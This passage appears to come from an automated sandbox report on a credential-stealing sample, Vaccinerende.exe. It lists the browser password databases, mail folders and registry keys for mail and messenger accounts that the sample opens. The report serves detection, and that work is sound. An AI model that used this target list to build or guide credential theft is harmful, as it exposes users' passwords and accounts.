Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Directory queried: C:\Users\user\AppData\Local\Microsoft\Windows Mail\Backup NULL
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Directory queried: C:\Users\user\AppData\Local\Microsoft\Windows Mail\Backup\new *
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Directory queried: C:\Users\user\AppData\Local\Microsoft\Windows Mail\Backup\new NULL
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Directory queried: C:\Users\user\AppData\Local\Microsoft\Windows Mail <.oeaccount
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Directory queried: C:\Users\user\AppData\Local\Microsoft\Windows Mail NULL
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Directory queried: C:\Users\user\AppData\Local\Microsoft\Windows Mail *
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Directory queried: C:\Users\user\AppData\Local\Microsoft\Windows Mail NULL
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Directory queried: C:\Users\user\AppData\Local\Microsoft\Windows Mail\Backup *
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Directory queried: C:\Users\user\AppData\Local\Microsoft\Windows Mail\Backup NULL
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Directory queried: C:\Users\user\AppData\Local\Microsoft\Windows Mail\Backup\new *
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Directory queried: C:\Users\user\AppData\Local\Microsoft\Windows Mail\Backup\new NULL
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\secmod.db
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\key3.db
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\cert8.db
Tries to steal Instant Messenger accounts or passwords
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\Google\Google Talk\Accounts
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\Google\Google Talk\Accounts
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\Paltalk
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\Google\Google Talk\Accounts
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\Google\Google Talk\Accounts
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\Paltalk
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\Google\Google Talk\Accounts
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\Google\Google Talk\Accounts
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\Paltalk
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\Google\Google Talk\Accounts
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\Google\Google Talk\Accounts
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\Paltalk
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\Google\Google Talk\Accounts
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\Google\Google Talk\Accounts
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\Paltalk
Tries to steal Mail credentials (via file / registry access)
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Identities\{56EE7341-F593-4666-B32B-0DA2F15C6755}\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\06cf47254c38794586c61cc24a734503
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\0a0d020000000000c000000000000046
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\13dbb0c8aa05101a9bb000aa002fc45a
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\205c3a58330443458dd2ac448e6ca789
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\2b8b37090290ba4f959e518e299cb5b1
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\3743a3c1c7e1f64e8f29008dfcb85743
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\53408158a6e73f408d707c6c9897ca11
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\5d87f524a0d3e441a43ef4f9aa2c1e35
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\78c2c8d3c60b8e4dbd322a28757b4add
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\8503020000000000c000000000000046
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9207f3e0a3b11019908b08002b2a56c2
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\b17a5dedc883424088e68fc9f8f9ce35
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\ddb0922fc50b8d42be5a821ede840761
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\f6b27b1a9688564abf9b7e1bd5ef7ca7
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\f86ed2903a4a11cfb57e524153480001
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows Live Mail
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Identities\{56EE7341-F593-4666-B32B-0DA2F15C6755}\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\06cf47254c38794586c61cc24a734503
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\0a0d020000000000c000000000000046
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\13dbb0c8aa05101a9bb000aa002fc45a
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\205c3a58330443458dd2ac448e6ca789
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\2b8b37090290ba4f959e518e299cb5b1
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\3743a3c1c7e1f64e8f29008dfcb85743
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\53408158a6e73f408d707c6c9897ca11
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\5d87f524a0d3e441a43ef4f9aa2c1e35
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\78c2c8d3c60b8e4dbd322a28757b4add
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\8503020000000000c000000000000046
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9207f3e0a3b11019908b08002b2a56c2
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\b17a5dedc883424088e68fc9f8f9ce35
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\ddb0922fc50b8d42be5a821ede840761
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\f6b27b1a9688564abf9b7e1bd5ef7ca7
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\f86ed2903a4a11cfb57e524153480001
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows Live Mail
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Identities\{56EE7341-F593-4666-B32B-0DA2F15C6755}\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\06cf47254c38794586c61cc24a734503
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\0a0d020000000000c000000000000046
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\13dbb0c8aa05101a9bb000aa002fc45a
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\205c3a58330443458dd2ac448e6ca789
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\2b8b37090290ba4f959e518e299cb5b1
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\3743a3c1c7e1f64e8f29008dfcb85743
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\53408158a6e73f408d707c6c9897ca11
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\5d87f524a0d3e441a43ef4f9aa2c1e35
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\78c2c8d3c60b8e4dbd322a28757b4add
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\8503020000000000c000000000000046
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9207f3e0a3b11019908b08002b2a56c2
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\b17a5dedc883424088e68fc9f8f9ce35
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\ddb0922fc50b8d42be5a821ede840761
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\f6b27b1a9688564abf9b7e1bd5ef7ca7
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\f86ed2903a4a11cfb57e524153480001
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows Live Mail
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Identities\{56EE7341-F593-4666-B32B-0DA2F15C6755}\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\06cf47254c38794586c61cc24a734503
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\0a0d020000000000c000000000000046
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\13dbb0c8aa05101a9bb000aa002fc45a
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\205c3a58330443458dd2ac448e6ca789
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\2b8b37090290ba4f959e518e299cb5b1
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\3743a3c1c7e1f64e8f29008dfcb85743
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\53408158a6e73f408d707c6c9897ca11
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\5d87f524a0d3e441a43ef4f9aa2c1e35
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\78c2c8d3c60b8e4dbd322a28757b4add
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\8503020000000000c000000000000046
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9207f3e0a3b11019908b08002b2a56c2
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\b17a5dedc883424088e68fc9f8f9ce35
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\ddb0922fc50b8d42be5a821ede840761
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\f6b27b1a9688564abf9b7e1bd5ef7ca7
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\f86ed2903a4a11cfb57e524153480001
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows Live Mail
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Identities\{56EE7341-F593-4666-B32B-0DA2F15C6755}\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\06cf47254c38794586c61cc24a734503
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\0a0d020000000000c000000000000046
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\13dbb0c8aa05101a9bb000aa002fc45a
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\205c3a58330443458dd2ac448e6ca789
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\2b8b37090290ba4f959e518e299cb5b1
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\3743a3c1c7e1f64e8f29008dfcb85743
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\53408158a6e73f408d707c6c9897ca11
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\5d87f524a0d3e441a43ef4f9aa2c1e35
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\78c2c8d3c60b8e4dbd322a28757b4add
